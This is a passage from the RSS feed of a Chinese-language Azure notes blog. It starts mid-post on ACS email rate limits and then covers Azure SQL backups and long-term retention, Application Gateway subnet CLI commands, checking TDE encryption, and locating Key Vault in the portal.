               │
               ▼
         ┌───────────┐
         │  Layer 1  │ ──► 自動 Retry (解析 Retry-After 標頭，等待後重試)
         └───────────┘
               │
               ▼
         ┌───────────┐
         │  Layer 3  │ ──► 擴充根本 Quota (升級 Custom Domain / 調整環境變數)
         └───────────┘
</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Layer 1：客戶端自動重試（Client-side Retry）</h3>



<p class="wp-block-paragraph">當收到 429 錯誤時，不要立刻放棄！ACS 的 Response Header 中會帶有一個 <code>Retry-After</code> 欄位（通常為 60 秒），告知你多久後可以重試。</p>



<ul class="wp-block-list">
<li><strong>實作邏輯</strong>：在發信方法中加入一個最多 3 次的 <code>for</code> 迴圈。</li>



<li><strong>行為</strong>：若遇到 429，解析 <code>Retry-After</code> 的秒數，讓執行緒 <code>time.Sleep()</code>（或搭配 <code>context</code> 監聽）後再次重試。如果 3 次都失敗才記 Log 報錯。</li>
</ul>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Layer 2：客戶端速率限制器（Rate Limiter）</h3>



<p class="wp-block-paragraph">與其等收到 429 才來重試，不如在「出門前」就先排隊。我們可以在記憶體中建立一個 Token Bucket 速率限制器（例如使用 Go 的 <code>golang.org/x/time/rate</code>）。</p>



<ul class="wp-block-list">
<li><strong>實作邏輯</strong>：將速率限制器封裝在 ACS Client 內，每次呼叫 <code>Send()</code> 前，都必須先執行 <code>limiter.Wait(ctx)</code>。</li>



<li><strong>參數彈性化（拒絕 Hardcode）</strong>：建議將限制速率改為<strong>環境變數化（例如 <code>ACS_EMAIL_RATE_PER_MINUTE</code>）</strong>：
<ul class="wp-block-list">
<li>測試環境（Managed Domain）：設為 <code>4</code>（低於上限 5，保留 1 封緩衝）。</li>



<li>生產環境（Custom Domain）：設為 <code>24</code>（低於上限 30，保留 6 封緩衝）。</li>
</ul>
</li>



<li><strong>優點</strong>：並發的 Goroutine 會自動在本地排隊，不會佔用 HTTP 連線，更不會頻繁去撞 Azure 的 API 牆。</li>
</ul>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Layer 3：切換自訂網域與申請提升 Quota</h3>



<p class="wp-block-paragraph">如果業務量持續成長，本地排隊隊伍越來越長，這代表您必須提升物理上限了。</p>



<ol start="1" class="wp-block-list">
<li><strong>全面捨棄 Managed Domain</strong>，切換至 <strong>Custom Domain</strong>，將基本盤直接從 5 封/分 擴展至 30 封/分。</li>



<li>若 30 封/分 仍不敷使用，可以前往 Azure Portal 提交 <strong>Support Ticket</strong>，問題類型選擇 <code>Service and subscription limits (quotas)</code>，申請將 ACS Email 的發送速率調高（例如調整至 60 或 120 封/分）。</li>



<li>此時，由於我們在 <strong>Layer 2</strong> 將速率做成了環境變數，我們<strong>不需要修改任何程式碼、不需要重新打包 Docker Image</strong>，只需要更改雲端環境變數（例如將 <code>ACS_EMAIL_RATE_PER_MINUTE</code> 改為 <code>54</code>），重啟服務即可完美對接新的 Quota！</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4dd.png" alt="📝" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 總結</h2>



<p class="wp-block-paragraph">處理雲端服務的 Rate Limit 是後端工程師的必修課。透過 <strong>Layer 2 (本地排隊限制速率)</strong> 避免主動違規、<strong>Layer 1 (退讓重試)</strong> 處理突發流量，再配合 <strong>Layer 3 (彈性環境變數與自訂網域)</strong> 提升硬體上限，你的系統就能擁有極高韌性，再也不怕被 ACS 的 429 錯誤給擊倒！</p>



<p class="wp-block-paragraph">希望這篇文章能幫助到正在與 Azure ACS 奮戰的你。歡迎在下方留言分享你們在處理第三方 API 限制時的心得！</p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/azure-communication-services-acs-email-429/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Azure SQL Databas backup</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/azure-sql-databas-backup/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/azure-sql-databas-backup/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Tue, 09 Jun 2026 03:05:11 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<category><![CDATA[mssql]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8529</guid>

					<description><![CDATA[在 Azure SQL Database 當中，...]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">在 Azure SQL Database 當中，系統預設就會自動幫你執行備份，不需要手動建立備份排程。它會每週進行一次完整備份、每 12 到 24 小時進行一次差異備份，並且每 5 到 10 分鐘進行一次交易記錄備份。</p>



<p class="wp-block-paragraph">如果你想要手動微調整備份設定、延長保留時間，或是建立一個當下的資料庫複本，可以透過以下幾種常見的方法來達成。</p>



<h2 class="wp-block-heading">方法一：調整自動備份的保留時間與備份策略</h2>



<p class="wp-block-paragraph">如果你需要讓備份保留更久，可以到 Azure Portal 調整短期或長期保留原則。<sup></sup></p>



<ol start="1" class="wp-block-list">
<li>登入 Azure Portal 並且找到你的 <strong>Azure SQL Database</strong>。</li>



<li>在左側選單的 <strong>Data management</strong> 區塊中，點選 <strong>Backups</strong>。</li>



<li>點選畫面上方的 <strong>Configure policies</strong>。</li>



<li>調整你的 <strong>Short-term retention</strong>（短期保留，可設定 1 到 35 天）或是設定 <strong>Long-term retention</strong>（長期保留，最長可保存 10 年）。</li>



<li>在這個頁面中，你也可以更改 <strong>Backup storage redundancy</strong>（備份儲存體備援），選擇要使用本地備援、區域備援還是異地備援。</li>
</ol>



<h2 class="wp-block-heading">方法二：建立即時的資料庫複本</h2>



<p class="wp-block-paragraph">因為 Azure SQL 無法直接下達傳統的 <code>BACKUP DATABASE</code> 指令，如果你需要在進行重大更新前手動留底，最快的方式是直接複製一個新的資料庫。</p>



<h3 class="wp-block-heading">透過 Azure Portal 操作</h3>



<ol start="1" class="wp-block-list">
<li>在資料庫的 <strong>Overview</strong>（概觀）頁面。</li>



<li>點選上方的 <strong>Copy</strong>（複製）按鈕。</li>



<li>輸入新資料庫的名稱、選擇目的地伺服器，系統就會在背景開始複製。</li>
</ol>



<h3 class="wp-block-heading">透過 T-SQL 指令操作</h3>



<p class="wp-block-paragraph">你也可以直接連線到資料庫，執行以下指令來進行複製：</p>



<p class="wp-block-paragraph">SQL</p>



<pre class="wp-block-code"><code>CREATE DATABASE 新資料庫名稱 AS COPY OF 原資料庫名稱;
</code></pre>



<h2 class="wp-block-heading">方法三：匯出為 BACPAC 檔案</h2>



<p class="wp-block-paragraph">如果你需要將備份檔案下載到地端（On-premises）環境或是移動到其他帳號，可以將資料庫匯出成 BACPAC 檔案。<sup></sup></p>



<ol start="1" class="wp-block-list">
<li>在資料庫的 <strong>Overview</strong>（概觀）頁面。</li>



<li>點選畫面上方的 <strong>Export</strong>（匯出）。</li>



<li>輸入檔名，並選擇你要用來存放這個檔案的 <strong>Azure Storage Account</strong>（儲存體帳戶）與容器（Container）。</li>



<li>輸入 SQL Server 的管理員帳號與密碼，點選確定後系統就會開始將資料與結構打包成 BACPAC 檔案。</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">how to enable to my database?</p>



<p class="wp-block-paragraph">這取決於你是要啟用<strong>自動備份功能</strong>、<strong>長期備份保留（LTR）</strong>，還是要啟用<strong>資料庫複本</strong>。</p>



<p class="wp-block-paragraph">由於 Azure SQL Database 在建立時就<strong>已經預設自動啟用</strong>了基礎備份（每週完整備份、每天差異備份、每五分鐘日誌備份），如果你需要確認它是否正常運作，或是想要啟用更進階的備份功能，可以透過以下幾種方式來完成。</p>



<h2 class="wp-block-heading">檢查並確認自動備份是否啟用</h2>



<p class="wp-block-paragraph">系統內建的自動備份不需要額外開關，但你可以透過 Azure Portal 確認它的保留天數與狀態。</p>



<ol start="1" class="wp-block-list">
<li>登入 Azure Portal，並進入你的 <strong>Azure SQL Database</strong> 頁面。</li>



<li>在左側選單的 <strong>Data management</strong> 分類下，點選 <strong>Backups</strong>。</li>



<li>切換到 <strong>Available backups</strong> 標籤頁，在這裡你就可以看到目前資料庫已經自動產生的備份列表與可還原的時間點。</li>
</ol>



<h2 class="wp-block-heading">啟用長期備份保留（LTR）</h2>



<p class="wp-block-paragraph">如果你需要將備份保留數個月或數年（預設的自動備份最多只保留 35 天），你就需要手動啟用長期保留原則。</p>



<ol start="1" class="wp-block-list">
<li>在剛才的 <strong>Backups</strong> 頁面中，將標籤頁切換到 <strong>Retention policies</strong>。</li>



<li>勾選你需要調整的資料庫，並點選上方的 <strong>Configure policies</strong>。</li>



<li>在右側跳出的視窗中，勾選 <strong>Long-term retention</strong>。</li>



<li>根據需求填入你要保留的時間。例如：
<ul class="wp-block-list">
<li><strong>Weekly LTR backup</strong>：每週備份要保留幾週。</li>



<li><strong>Monthly LTR backup</strong>：每月第一個備份要保留幾個月。</li>



<li><strong>Yearly LTR backup</strong>：每年第一個備份要保留幾年。</li>
</ul>
</li>



<li>設定完成後點選 <strong>Apply</strong>，長期備份就會開始依據排程自動執行。</li>
</ol>



<h2 class="wp-block-heading">透過指令直接啟用並複製一個新資料庫</h2>



<p class="wp-block-paragraph">如果你希望立刻啟用一個一模一樣的獨立資料庫作為測試或臨時備份，你可以直接使用 T-SQL 或是 Azure CLI 指令。</p>



<h3 class="wp-block-heading">使用 T-SQL 指令</h3>



<p class="wp-block-paragraph">利用 SQL Server Management Studio（SSMS）或是 Azure 上的 Query editor 連線到你的主資料庫（或是 master 資料庫），執行以下指令：</p>



<p class="wp-block-paragraph">SQL</p>



<pre class="wp-block-code"><code>CREATE DATABASE 備份資料庫名稱 AS COPY OF 原資料庫名稱;
</code></pre>



<h3 class="wp-block-heading">使用 Azure CLI 指令</h3>



<p class="wp-block-paragraph">如果你習慣使用命令列工具，也可以直接在終端機輸入這行指令，系統就會立刻在同一個伺服器上啟用並複製一個新的資料庫：</p>



<p class="wp-block-paragraph">Bash</p>



<pre class="wp-block-code"><code>az sql db copy --dest-name 備份資料庫名稱 --name 原資料庫名稱 --resource-group 你的資源群組名稱 --server 你的伺服器名稱
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">我有些資料庫可以LTR, 有些沒, 沒的database how to enable LTR?</p>



<p class="wp-block-paragraph">看來你目前所在的頁面是 可用的備份 標籤頁。在這個頁面中，只有 已經成功產生長期備份 並且檔案還存在儲存體當中的資料庫，才會在 可用的 LTR 備份 欄位顯示 管理，其餘還沒有備份檔案的資料庫則會顯示 無。</p>



<p class="wp-block-paragraph">如果你想要為其他顯示 無 的資料庫啟用長期保留原則（LTR），你需要切換到另一個標籤頁進行設定。請依照以下步驟操作。</p>



<h2 class="wp-block-heading">啟用長期保留原則（LTR）設定步驟</h2>



<ol start="1" class="wp-block-list">
<li>點選畫面上方，在 可用的備份 左邊或右邊的 <strong>保留原則</strong>（Retention policies）標籤頁。</li>



<li>進入 保留原則 頁面後，你會看到所有的資料庫列表。</li>



<li>勾選你想要啟用 LTR 的資料庫（例如 <code>NYCUAUTH</code>、<code>portal-stg</code> 或其他目前顯示無的資料庫）。</li>



<li>勾選後，點選列表上方出現的 <strong>配置原則</strong>（Configure policies）按鈕。</li>



<li>此時畫面右側會跳出一個設定視窗，請找到 <strong>長期留存</strong>（Long-term retention）的區塊。</li>



<li>根據你的需求，自由填入以下欄位來啟用它：
<ul class="wp-block-list">
<li><strong>每週 LTR 備份</strong>：勾選並填入希望每週的備份要保留幾週或幾個月。</li>



<li><strong>每月 LTR 備份</strong>：勾選並指定每個月第一個備份要保留多久。</li>



<li><strong>每年 LTR 備份</strong>：勾選並指定每年第一個備份要保留幾年。</li>
</ul>
</li>



<li>設定完成後，點選最下方的 <strong>套用</strong>（Apply）或 <strong>儲存</strong> 按鈕。</li>
</ol>



<h2 class="wp-block-heading">注意事項</h2>



<p class="wp-block-paragraph">當你完成設定並儲存之後，因為 Azure SQL Database 是依照你設定的排程（例如每週或每月）在背景自動執行長期備份，所以它<strong>不會立刻</strong>在 可用的備份 標籤頁中從 無 變成 管理。</p>



<p class="wp-block-paragraph">系統必須等到下一個排程時間點到了，並且成功將第一份 LTR 備份檔案打包存入儲存體之後，該資料庫才會在這個頁面上顯示 管理 與上一次的備份時間。</p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/azure-sql-databas-backup/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>A minimum subnet size of /24 is recommended for Application Gateway v2 subnets</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/a-minimum-subnet-size-of-24-is-recommended-for-application-gateway-v2-subnets/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/a-minimum-subnet-size-of-24-is-recommended-for-application-gateway-v2-subnets/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Wed, 03 Jun 2026 13:48:51 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8519</guid>

					<description><![CDATA[Via Azure CLI # Add new ...]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="453" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/2026-06-03_21-47_o4-1024x453.jpg?v=1780494450" alt="" class="wp-image-8520" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/2026-06-03_21-47_o4-1024x453.jpg?v=1780494450 1024w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/2026-06-03_21-47_o4-600x265.jpg?v=1780494450 600w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/2026-06-03_21-47_o4-768x339.jpg?v=1780494450 768w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/2026-06-03_21-47_o4.jpg?v=1780494450 1224w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">Via Azure CLI</p>



<p class="wp-block-paragraph"># Add new /24 subnet<br>az network vnet subnet create \<br>&#8211;resource-group rg-spoke-paas \<br>&#8211;vnet-name \<br>&#8211;name snet-appgw-new \<br>&#8211;address-prefix 10.x.x.0/24</p>



<p class="wp-block-paragraph"># Then update AGW to use new subnet<br>az network application-gateway update \<br>&#8211;name agw-stg-jpe-001 \<br>&#8211;resource-group rg-spoke-paas \<br>&#8211;set gatewayIPConfigurations[0].subnet.id=</p>



<p class="wp-block-paragraph">Note: AGW subnet IP update via CLI may require a stop/start cycle. Plan for downtime or use blue/green deployment.</p>



<p class="wp-block-paragraph">Would you like help calculating an available /24 block in your VNet, or generating the full ARM/Bicep template?</p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/a-minimum-subnet-size-of-24-is-recommended-for-application-gateway-v2-subnets/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Azure SQL Database（以及 Azure SQL Managed Instance）完全支援「透明資料加密」</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/azure-sql-database-tde/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/azure-sql-database-tde/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Wed, 03 Jun 2026 07:00:51 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<category><![CDATA[mssql]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8510</guid>

					<description><![CDATA[公司的政策, 資料庫要透明加密, 並給我 sql...]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">公司的政策, 資料庫要透明加密, 並給我 sql server command:</p>



<pre class="wp-block-code"><code>-- 查詢憑證是否存在
USE master;
SELECT * FROM sys.certificates WHERE name = 'TdeServerCert';

-- (補充) 記錄備份
BACKUP LOG 資料庫名稱 
TO DISK = 'D:\DB_backup\path_to_backup_file.trn';

-- 建議創建主要金鑰與憑證，主要金鑰的密碼很重要，請記得！！！
USE master;
GO
--創建主要金鑰(密碼請更換，勿用範例的密碼)
CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'TDE@9876543210';
GO
--創建加密憑證
CREATE CERTIFICATE TdeServerCert 
WITH SUBJECT = N'DB_TDE_Certificat',
EXPIRY_DATE = '2099-12-31'; --憑證到期的日期
GO</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">在 azure 上執行 USE master; 就顯示錯誤訊息了.</p>



<pre class="wp-block-preformatted">USE statement is not supported to switch between databases. Use a new connection to connect to a different database.<br>Failed to execute the query</pre>



<p class="wp-block-paragraph"><strong>可以，Azure SQL Database（以及 Azure SQL Managed Instance）完全支援「透明資料加密」（Transparent Data Encryption，簡稱 TDE）。</strong> 事實上，在 Azure 上，所有新建立的資料庫<strong>預設都是直接開啟 TDE 的</strong>，你不需要動手去啟動它。</p>



<p class="wp-block-paragraph">至於你遇到的錯誤訊息，是因為 <strong>Azure SQL Database 的架構不支援 <code>USE [資料庫名稱]</code> 語法</strong>來切換資料庫。在 Azure SQL 中，如果你想查詢不同的資料庫（例如 <code>master</code>），你必須在連線工具（如 SSMS 或 Azure Data Studio）中，<strong>直接修改連線字串或連線屬性中的資料庫名稱</strong>，重新連線進去。</p>



<p class="wp-block-paragraph">以下為你整理 Azure SQL TDE 的運作方式，以及如何正確查詢它的狀態：</p>



<h3 class="wp-block-heading">1. 為什麼不需要在 Azure 建立 TDE 憑證？</h3>



<p class="wp-block-paragraph">在傳統的 On-Premises（地端）SQL Server 中，你要做 TDE 必須自己手動建立 Master Key、憑證（Certificate），然後再針對資料庫做加密（這也就是你預期去 <code>sys.certificates</code> 找 <code>TdeServerCert</code> 的原因）。</p>



<p class="wp-block-paragraph">但在 <strong>Azure SQL Database</strong> 中：</p>



<ul class="wp-block-list">
<li><strong>服務管理金鑰 (Service-Managed Key)</strong>：Azure 預設會自動幫你管理 TDE 憑證與金鑰，並定期自動輪換（Rotate）。你不需要、也沒辦法在 <code>master</code> 資料庫裡看到或管理這個由 Azure 託管的憑證。</li>



<li><strong>客戶管理金鑰 (Customer-Managed Key, BYOK)</strong>：如果你有合規性需求，想要自己掌控金鑰，你可以結合 <strong>Azure Key Vault</strong> 來實作 BYOK（Bring Your Own Key）。</li>
</ul>



<h3 class="wp-block-heading">2. 如何正確檢查 Azure SQL 的 TDE 狀態？</h3>



<p class="wp-block-paragraph">你不需要切換到 <code>master</code> 去找憑證，直接在<strong>當前的使用者資料庫</strong>下執行以下指令，就能確認該資料庫是否有啟用 TDE 加密：</p>



<p class="wp-block-paragraph">SQL</p>



<pre class="wp-block-code"><code>SELECT 
    db_name(database_id) AS DatabaseName,
    encryption_state,
    CASE encryption_state
        WHEN 0 THEN '無加密金鑰'
        WHEN 1 THEN '未加密 (Unencrypted)'
        WHEN 2 THEN '加密中 (Encryption in progress)'
        WHEN 3 THEN '已加密 (Encrypted)'
        WHEN 4 THEN '金鑰變更中'
        WHEN 5 THEN '解密中'
        ELSE '未知狀態'
    END AS EncryptionStateDescription
FROM sys.dm_database_encryption_keys;
</code></pre>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>預期結果：</strong> 如果你是使用 Azure SQL，通常會直接看到你的資料庫狀態為 <strong>3 (已加密 Encrypted)</strong>。</p>
</blockquote>



<h3 class="wp-block-heading">3. 如何在 Azure Portal 門戶上查看或修改？</h3>



<p class="wp-block-paragraph">除了用 SQL 指令，你也可以直接在網頁上點選確認：</p>



<ol start="1" class="wp-block-list">
<li>進入 <strong>Azure Portal</strong>，找到你的 <strong>SQL database</strong>。</li>



<li>在左側選單的「安全性 (Security)」分類下，點選 <strong>資料加密 (Data encryption)</strong>。</li>



<li>在這裡你可以看到 TDE 目前是 <strong>Enabled (已啟用)</strong>，也可以在這邊切換要使用「Azure 幫你管理的金鑰」還是「你自己的 Azure Key Vault 金鑰」。</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="155" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/image-1024x155.png?v=1780469986" alt="" class="wp-image-8513" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/image-1024x155.png?v=1780469986 1024w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/image-600x91.png?v=1780469986 600w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/image-768x116.png?v=1780469986 768w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/image.png?v=1780469986 1290w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">這代表你的 <strong><code>tempdb</code></strong> 和 <strong><code>project-name-stg</code></strong> 資料庫目前都是 <strong>「3：已加密 (Encrypted)」</strong> 的狀態。</p>



<p class="wp-block-paragraph">在 Azure SQL 中，這是一個非常標準且健康的預設表現：</p>



<ul class="wp-block-list">
<li><strong><code>project-name-stg</code>（你的業務資料庫）</strong>：正如前面提到，Azure SQL 預設會為所有使用者資料庫啟用 TDE，確保你的資料在硬碟儲存時（Data at rest）是安全的。</li>



<li><strong><code>tempdb</code>（系統暫存資料庫）</strong>：只要你的實例中<strong>有任何一個</strong>使用者資料庫啟用了 TDE，Azure SQL 就會自動把 <code>tempdb</code> 也一起加密。這是為了防止敏感資料在運算過程中，被暫存到 <code>tempdb</code> 時留下未加密的軌跡。</li>
</ul>



<h3 class="wp-block-heading">接下來的建議</h3>



<p class="wp-block-paragraph">既然已經確認狀態為 <code>3 (Encrypted)</code>，代表<strong>透明資料加密已經在底層默默幫你守護資料了</strong>，你不需要再手動執行任何加密指令（例如 <code>ALTER DATABASE ... SET ENCRYPTION ON</code>）。</p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/azure-sql-database-tde/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Azure 標準型或進階型的 「金鑰保險箱 (Key Vault)」</title>
		<link>https://stackoverflow.max-everyday.com/2026/05/azure-key-vault/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/05/azure-key-vault/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Wed, 27 May 2026 07:10:50 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8478</guid>

					<description><![CDATA[這篇文章主要在說明如何正確尋找、使用並安全設定 ...]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">這篇文章主要在說明如何正確尋找、使用並安全設定 Azure 的「金鑰保險箱（ Key vaults ）」，並針對資料庫欄位加密的實際開發給予建議。</p>



<p class="wp-block-paragraph">以下為您摘要這篇文章解決的痛點以及對工程師的實質幫助：</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">解決那些事情</h2>



<ul class="wp-block-list">
<li><strong>找不到標準型與進階型保險箱：</strong> 許多人在 Azure Portal 輸入關鍵字後，只會看到高階的「受控 HSM 」，文章引導如何透過正確的關鍵字與認明「綠色鑰匙與抽屜」的圖示，順利找到標準型或進階型的服務。</li>



<li><strong>金鑰與祕密傻傻分不清：</strong> 釐清了 Key Vault 中「祕密（ Secrets ）」與「金鑰（ Keys ）」的核心差異。祕密適合存明文字串（如資料庫連接字串），而金鑰則是在內部進行密碼編譯操作且永遠不離開保險箱。</li>



<li><strong>環境變數設定與程式碼外洩風險：</strong> 傳統將 AES 金鑰寫死在程式碼或存放於實體 <code>.env</code> 檔案中，容易因為遺失、伺服器被駭或員工離職而外洩。文章提供改用 Azure SDK 搭配「受控識別（ Managed Identity ）」的架構，讓金鑰只存在於記憶體中。</li>



<li><strong>權限卡關與網路安全限制：</strong> 解決了在設定 RBAC 權限模型時不知道該選什麼角色的問題，並說明如何透過「網路功能」設定虛擬網路（ VNet ）或公用 IP 白名單，阻擋來自外網的惡意存取。</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">對工程師有何幫助</h2>



<h3 class="wp-block-heading">1. 提供明確的架構選擇題</h3>



<p class="wp-block-paragraph">針對要實作資料庫欄位加密的工程師，文章給出兩種清晰的方案：</p>



<ul class="wp-block-list">
<li>如果是用資料庫內建的 Always Encrypted ，應選擇 <strong>金鑰（ Keys ）</strong> 來當作主加密金鑰（ CMK ）。</li>



<li>如果是工程師自己寫程式實作 AES-256 加解密，應將產生的 Base64 字串存入 <strong>祕密（ Secrets ）</strong> 。</li>
</ul>



<h3 class="wp-block-heading">2. 附帶實用的程式碼範例</h3>



<p class="wp-block-paragraph">文章直接提供了 Python 與 Go 語言的實作腳本，包含如何產生安全的隨機金鑰、如何使用 AES-GCM 演算法進行加解密，以及如何利用官方 SDK 在容器啟動時動態撈取金鑰。這讓工程師可以直接複製修改，加速開發。</p>



<h3 class="wp-block-heading">3. 省錢與資安的觀念建立</h3>



<ul class="wp-block-list">
<li><strong>資安防護：</strong> 提醒工程師開啟「軟刪除」與「清除保護」，防止金鑰被誤刪或惡意刪除。</li>



<li><strong>節省成本：</strong> 提醒工程師只需要在「程式啟動時」呼叫一次 Key Vault ，後續運算都在記憶體執行，避免每次解密都連線而產生高額的交易費用。</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">直接輸入Azure Key Vault 只看的到高級的版本：</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img loading="lazy" decoding="async" width="501" height="1024" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/05/2662d70c-b2db-42b8-9ac3-6cd28427140c-501x1024.jpg?v=1779860972" alt="" class="wp-image-8479" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/05/2662d70c-b2db-42b8-9ac3-6cd28427140c-501x1024.jpg?v=1779860972 501w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/05/2662d70c-b2db-42b8-9ac3-6cd28427140c-294x600.jpg?v=1779860972 294w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/05/2662d70c-b2db-42b8-9ac3-6cd28427140c-768x1570.jpg?v=1779860972 768w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/05/2662d70c-b2db-42b8-9ac3-6cd28427140c-751x1536.jpg?v=1779860972 751w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/05/2662d70c-b2db-42b8-9ac3-6cd28427140c.jpg?v=1779860972 816w" sizes="auto, (max-width: 501px) 100vw, 501px" /></figure>
</div>


<p class="wp-block-paragraph"><strong>受控 HSM (Managed HSM)</strong> 與一般的 <strong>金鑰保險箱 (Key Vault)</strong> 在 Azure 中是兩個不同的資源類型：</p>



<ol start="1" class="wp-block-list">
<li><strong>如果您本來就打算使用最高安全層級、完全專屬的硬體裝置</strong>： 那沒錯，就是這裡！因為您目前帳號下還沒有建立任何受控 HSM，請直接點擊畫面中央或右下角的 <strong>「藍色 ＋ 建立」</strong> 按鈕，來建立一個全新的受控 HSM 執行個體。建立完成後，才能進入內部設定金鑰與權限。</li>



<li><strong>如果您之前已經有建立過金鑰儲存資源，但在這個畫面看不到</strong>： 那代表您之前建立的是標準型或進階型的 <strong>「金鑰保險箱 (Key Vault)」</strong>，而不是受控 HSM。
<ul class="wp-block-list">
<li><strong>如何切換：</strong> 請看您截圖的最右上方，有一個長條形的「搜尋資源、服務及文件 (G+/)」 搜尋列。請直接在裡面輸入您的金鑰儲存庫名稱，或是輸入 <code>金鑰保險箱</code> (Key vaults)，就能找到正確的資源頁面。</li>
</ul>
</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">要找到標準型（Standard）或進階型（Premium）的 <strong>「金鑰保險箱 (Key Vault)」</strong>，操作非常簡單。</p>



<p class="wp-block-paragraph">請看您剛才搜尋畫面的同一個搜尋列，依照以下步驟輸入：</p>



<h3 class="wp-block-heading">步驟一：在搜尋列輸入正確關鍵字</h3>



<p class="wp-block-paragraph">請在最上方的藍色搜尋列中，清除原本的字，改輸入以下其中一個關鍵字：</p>



<ul class="wp-block-list">
<li>中文：<strong>金鑰保險箱</strong></li>



<li>英文：<strong>Key vaults</strong> <em>(注意：後面<strong>不要</strong>加上「受控 HSM」)</em></li>
</ul>



<h3 class="wp-block-heading">步驟二：認明正確的圖示與服務</h3>



<p class="wp-block-paragraph">當您輸入後，下方會出現搜尋結果。請認明以下圖示與文字：</p>



<ol start="1" class="wp-block-list">
<li><strong>圖示（Icon）：</strong> 是一個「綠色的鑰匙，背景是一個抽屜/保險箱」的圖案（如下圖所示）。</li>



<li><strong>文字：</strong> 服務名稱只會寫 <strong>「金鑰保險箱」</strong> 或 <strong>「Key vaults」</strong>。</li>
</ol>



